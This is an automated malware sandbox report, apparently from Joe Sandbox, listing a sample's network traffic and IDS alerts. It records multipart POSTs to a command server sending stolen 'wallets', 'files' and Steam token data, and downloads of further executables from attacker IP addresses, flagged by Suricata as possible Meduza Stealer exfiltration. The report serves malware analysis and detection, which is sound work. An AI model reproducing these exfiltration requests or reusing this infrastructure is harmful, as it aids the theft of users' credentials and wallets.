2d 42 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 2d 2d 0d 0a Data Ascii: ------BGIDBKKKKKFBGDGDHIDBContent-Disposition: form-data; name="token"649cc2916291697ac8a2bb02f7f25526de25479c916a0b4ecf702cec0702bbd347ccec8e------BGIDBKKKKKFBGDGDHIDBContent-Disposition: form-data; name="message"wallets------BGIDBKKKKKFBGDGDHIDB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBFHJJJDAFBKEBGDGHCGHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 46 48 4a 4a 4a 44 41 46 42 4b 45 42 47 44 47 48 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 34 39 63 63 32 39 31 36 32 39 31 36 39 37 61 63 38 61 32 62 62 30 32 66 37 66 32 35 35 32 36 64 65 32 35 34 37 39 63 39 31 36 61 30 62 34 65 63 66 37 30 32 63 65 63 30 37 30 32 62 62 64 33 34 37 63 63 65 63 38 65 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 48 4a 4a 4a 44 41 46 42 4b 45 42 47 44 47 48 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 48 4a 4a 4a 44 41 46 42 4b 45 42 47 44 47 48 43 47 2d 2d 0d 0a Data Ascii: ------FBFHJJJDAFBKEBGDGHCGContent-Disposition: form-data; name="token"649cc2916291697ac8a2bb02f7f25526de25479c916a0b4ecf702cec0702bbd347ccec8e------FBFHJJJDAFBKEBGDGHCGContent-Disposition: form-data; name="message"files------FBFHJJJDAFBKEBGDGHCG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGIEBAFHJJDBGCAKJJKFHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 49 45 42 41 46 48 4a 4a 44 42 47 43 41 4b 4a 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 34 39 63 63 32 39 31 36 32 39 31 36 39 37 61 63 38 61 32 62 62 30 32 66 37 66 32 35 35 32 36 64 65 32 35 34 37 39 63 39 31 36 61 30 62 34 65 63 66 37 30 32 63 65 63 30 37 30 32 62 62 64 33 34 37 63 63 65 63 38 65 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 45 42 41 46 48 4a 4a 44 42 47 43 41 4b 4a 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 45 42 41 46 48 4a 4a 44 42 47 43 41 4b 4a 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 45 42 41 46 48 4a 4a 44 42 47 43 41 4b 4a 4a 4b 46 2d 2d 0d 0a Data Ascii: ------CGIEBAFHJJDBGCAKJJKFContent-Disposition: form-data; name="token"649cc2916291697ac8a2bb02f7f25526de25479c916a0b4ecf702cec0702bbd347ccec8e------CGIEBAFHJJDBGCAKJJKFContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------CGIEBAFHJJDBGCAKJJKFContent-Disposition: form-data; name="file"------CGIEBAFHJJDBGCAKJJKF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFCAAEGDBKJJKECBKFHCHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 43 41 41 45 47 44 42 4b 4a 4a 4b 45 43 42 4b 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 34 39 63 63 32 39 31 36 32 39 31 36 39 37 61 63 38 61 32 62 62 30 32 66 37 66 32 35 35 32 36 64 65 32 35 34 37 39 63 39 31 36 61 30 62 34 65 63 66 37 30 32 63 65 63 30 37 30 32 62 62 64 33 34 37 63 63 65 63 38 65 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 41 41 45 47 44 42 4b 4a 4a 4b 45 43 42 4b 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 41 41 45 47 44 42 4b 4a 4a 4b 45 43 42 4b 46 48 43 2d 2d 0d 0a Data Ascii: ------AFCAAEGDBKJJKECBKFHCContent-Disposition: form-data; name="token"649cc2916291697ac8a2bb02f7f25526de25479c916a0b4ecf702cec0702bbd347ccec8e------AFCAAEGDBKJJKECBKFHCContent-Disposition: form-data; name="message"ybncbhylepme------AFCAAEGDBKJJKECBKFHC--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEBKEHJJDAAAAKECBGHDHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 34 39 63 63 32 39 31 36 32 39 31 36 39 37 61 63 38 61 32 62 62 30 32 66 37 66 32 35 35 32 36 64 65 32 35 34 37 39 63 39 31 36 61 30 62 34 65 63 66 37 30 32 63 65 63 30 37 30 32 62 62 64 33 34 37 63 63 65 63 38 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 2d 2d 0d 0a Data Ascii: ------JEBKEHJJDAAAAKECBGHDContent-Disposition: form-data; name="token"649cc2916291697ac8a2bb02f7f25526de25479c916a0b4ecf702cec0702bbd347ccec8e------JEBKEHJJDAAAAKECBGHDContent-Disposition: form-data; name="message"wkkjqaiaxkhb------JEBKEHJJDAAAAKECBGHD--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 34 32 45 37 33 42 34 35 42 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B42E73B45B82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: GET /files/6946140361/Ed7zZr4.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 32 39 39 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1012997001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 32 39 39 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1012998001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 32 39 39 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1012999001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDBGDHDAECBGDHJKFIDGHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 46 34 41 34 43 46 37 31 45 34 43 32 38 31 37 30 31 38 37 30 38 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 44 47 2d 2d 0d 0a Data Ascii: ------HDBGDHDAECBGDHJKFIDGContent-Disposition: form-data; name="hwid"6F4A4CF71E4C2817018708------HDBGDHDAECBGDHJKFIDGContent-Disposition: form-data; name="build"stok------HDBGDHDAECBGDHJKFIDG--

Source: Joe Sandbox View

IP Address: 185.215.113.43 185.215.113.43

Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: WORLDSTREAMNL WORLDSTREAMNL

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.7:49699 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.7:49786 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.7:49831 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49920 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49949 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2050807 - Severity 1 - ET MALWARE [ANY.RUN] Possible Meduza Stealer Exfiltration (TCP) : 192.168.2.7:49941 -> 5.252.155.28:15666
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49963 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49966 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49973 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49982 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49987 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49994 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50001 -> 104.21.16.9:443

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CE2CC60 PR_Recv,

0_2_6CE2CC60

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120100v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiFoM0BCNy9zQEIucrNAQii0c0BCIrTzQEIpNbNAQj01s0BCKfYzQEI+cDUFRj1yc0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiFoM0BCNy9zQEIucrNAQii0c0BCIrTzQEIpNbNAQj01s0BCKfYzQEI+cDUFRj1yc0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=27rhDXmSeoS1m3O&MD=LTrsryzY HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
